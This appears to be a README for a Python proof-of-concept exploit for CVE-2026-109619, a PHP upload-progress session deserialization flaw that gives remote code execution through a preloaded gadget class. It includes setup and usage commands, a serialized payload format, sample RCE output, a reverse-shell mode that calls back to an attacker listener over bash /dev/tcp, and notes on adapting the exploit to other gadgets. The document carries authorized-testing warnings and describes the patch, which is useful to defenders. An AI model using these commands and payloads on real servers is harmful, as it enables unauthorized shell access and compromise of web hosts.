
Zero-dependency Python PoC & Docker Compose reproduction for CVE-2026-109619 via PHP RFC1867 upload progress and opcache.preload. (133 characters)
This is a minimal proof of concept for the PHP session upload-progress bug: on
unpatched PHP the progress handler initializes the session before RINIT
and deserializes its contents. A class loaded by opcache.preload is
instantiated and its __wakeup() runs before the request script. The PoC
spawns a shell on the target — running arbitrary commands through
shell_exec() or an interactive reverse shell back to the attacker's
machine — with no offsets and no ASLR bypass.

[!WARNING] For authorized security testing only. The included preload gadget is deliberately vulnerable. Never deploy it to a production web root. Do not run this against systems you do not own or have written permission to test. The reverse-shell option sends a real payload that connects from the target back to your listener.
This is the CVE-2026-109619 session path, not the original counter-pointer
PoC. It does not use zend_call_function, heap grooming, or a --dtor
address.
The PoC is a single Python 3.8+ script with no third-party dependencies. The included lab needs Docker Engine or Docker Desktop with Compose v2.
session.upload_progress.enabled=On and
file_uploads=On.opcache.preload; a framework class with a usable __wakeup() /
__unserialize() works the same way.session.serialize_handler=php (the default). The record format used here
is evil|O:14:"Php2ShellProbe":....shell_exec() not disabled.git clone https://github.com/bigb0x/php2shell-poc.git
cd php2shell-poc
docker compose -f lab/docker-compose.yml up -d
curl http://127.0.0.1:8899/
python3 php2shell.py -c 'id; whoami; uname -a'
The lab runs PHP 8.5.4-FPM behind nginx on 127.0.0.1:8899, with the gadget
preloaded and /tmp as the session save path. The PoC seeds the session
inside the container, sends the multipart request, and reads the marker.
Expected result:
███ █ █ ███ ███ ████ █ █ ████ █ █
█ █ █ █ █ █ █ █ █ █ █ █ █
███ ████ ███ ███ ███ ████ ███ █ █
█ █ █ █ █ █ █ █ █ █ █
█ █ █ █ ████ ████ █ █ ████ ████ ████
CVE-2026-109619 // PRE-RINIT SESSION DESERIALIZATION
authorized lab use only // patched 2026-10-21
source https://github.com/bigb0x/php2shell-poc
── TARGET ──────────────────────────────────────────────────
url http://127.0.0.1:8899/
session ...
payload shell_exec: id; whoami; uname -a
── EXECUTION ───────────────────────────────────────────────
seed /tmp/sess_...
trigger multipart POST with PHP_SESSION_UPLOAD_PROGRESS
response HTTP 200 OK
╔════════════════════════════════════════════════════════════╗
║ [+] RCE CONFIRMED ║
║ __wakeup() executed before RINIT ║
╚════════════════════════════════════════════════════════════╝
── SHELL OUTPUT ────────────────────────────────────────────
php2shell CVE-2026-109619 __wakeup
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
Linux ... aarch64 GNU/Linux
To test another vulnerable branch, change the image tag in
lab/docker-compose.yml to php:8.4.26-fpm or php:8.3.35-fpm and restart.
The fixed php:8.5.12-fpm image is the negative control.
This mode opens an interactive reverse shell back to the attacker's
machine: the target connects out to the listener you run, giving you command
execution as the PHP user (typically www-data). The PoC does not start a
listener. Open one on the machine you control first:
# terminal 1 — on the attacker machine
nc -lv 4444
# terminal 2 — from the repo, targeting the local lab
python3 php2shell.py --reverse 4444
For a remote dev/pre-prod host, use an address the target can reach and pass the authorization flag:
python3 php2shell.py \
-u https://preprod.example.internal/ \
--allow-remote \
--reverse 203.0.113.10:4444
For a remote target, 203.0.113.10 is the attacker machine's VPN/LAN address
or an authorized tunnel, and inbound TCP to the listener must be allowed. In
the Docker lab, a bare port such as --reverse 4444 targets
host.docker.internal, which Compose maps to the host; that name is not
available from a remote target. The payload uses bash and /dev/tcp; the
target must have bash and permit outbound TCP.
-u, --url URL target endpoint (default: http://127.0.0.1:8899/)
-c, -command, --command command executed by the gadget
--reverse [LHOST:]LPORT send a reverse shell instead of a command
--container NAME PHP container for seeding and marker reads
--session-dir PATH session.save_path inside the container (default: /tmp)
--sid SID session id (random by default)
--no-seed skip Docker; use an already-seeded session
--allow-remote permit a non-loopback target
--timeout SECONDS HTTP timeout (default: 30)
--verbose print the exact serialized session record
--no-color disable colors and the banner
Colors and the banner are enabled only on an interactive terminal. Piped
output is plain; NO_COLOR=1 or --no-color forces plain output.
The PoC prints the exact serialized record in --no-seed mode and with
--verbose. In --no-seed mode, use that record to plant the session
yourself and rely on the framed PHP2SHELL-BEGIN ... PHP2SHELL-END output,
or read /tmp/php2shell_rce.txt if you have file access. The marker is more
reliable when the application discards pre-script output.
The release serializes Php2ShellProbe->cmd. If you have a different
preloaded gadget, change the CLASS and SESSION_PROPERTY constants at the
top of php2shell.py to match its class and property names.
evil|O:14:"Php2ShellProbe":... for the chosen
session id.PHPSESSID and
PHP_SESSION_UPLOAD_PROGRESS; PHP's RFC1867 handler processes the upload
before the script's RINIT.__wakeup() runs.shell_exec($cmd), writes a marker, and echoes the
output into the response.The official fix adds in_rfc1867_update, resets session globals at
MULTIPART_EVENT_START, and decodes objects as __PHP_Incomplete_Class
while the progress update runs. Patched builds do not invoke the gadget.